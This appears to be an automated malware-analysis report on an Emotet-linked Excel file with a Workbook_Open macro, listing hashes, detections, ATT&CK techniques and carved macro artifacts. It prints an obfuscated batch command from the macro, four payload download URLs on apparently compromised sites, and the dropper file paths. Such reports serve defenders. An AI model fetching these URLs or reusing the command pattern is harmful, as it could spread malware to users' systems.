Emotet Office (OOXML) / .XLSX malware analysis — malicious · 4360fbac0c4cfae7

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: c3975701d22932cdf7bf878a69d05c08 SHA-1: d6252b9e8f821234bee67e1eb0b243d327a2a960 SHA-256: 4360fbac0c4cfae706b94533667b4f18b1f8852d69f928056e33b22e1ecafc6a

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Downloader.EmotetExcel02223-9938902-0, indicating it is likely an Emotet variant. The presence of a Workbook_Open macro and CreateObject calls strongly suggests malicious VBA code execution. The obfuscated commands within the DOC BODY reveal attempts to create and execute batch and VBScript files, likely to download and run a second-stage payload. Specifically, the command `echo FGsrtghskeh4hirugh sgekg5kjgrkyhdlfighx7dGUTDRYUFu6r7yfugHJGJFKgjhkoi87jhgkjkj&start/B /WAIT %ertEWRt4%%cvFHDErte75s%%oifYdFGhse34sd%%wreDgdSdytDFf%%jDFtHxdrgszegh%%AegFhtXfg4f%%BXdgrtysews34yu%` and the subsequent variable assignments point to the download of payloads from multiple URLs, including `http://sumedahonline.com/wp-content/hyNZXJ30XQFEVBCRHR/`, `http://divachintexile.com/wp-includes/WWHWRKs8KvNzNm6/`, `http://hotelanmalabo.com/1520/bUdhoEPdf/`, and `http://shwenantawin.com/copma/XTnZJi02vfgV`. The script also attempts to create `c:\programdata\jledshf.bat` and `c:\programdata\tghklsd.vbs`.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `9ba5c8686b64bb057b8fe0a6090ade0d776a7dd447fb5c97d18b26c04cbc8e38`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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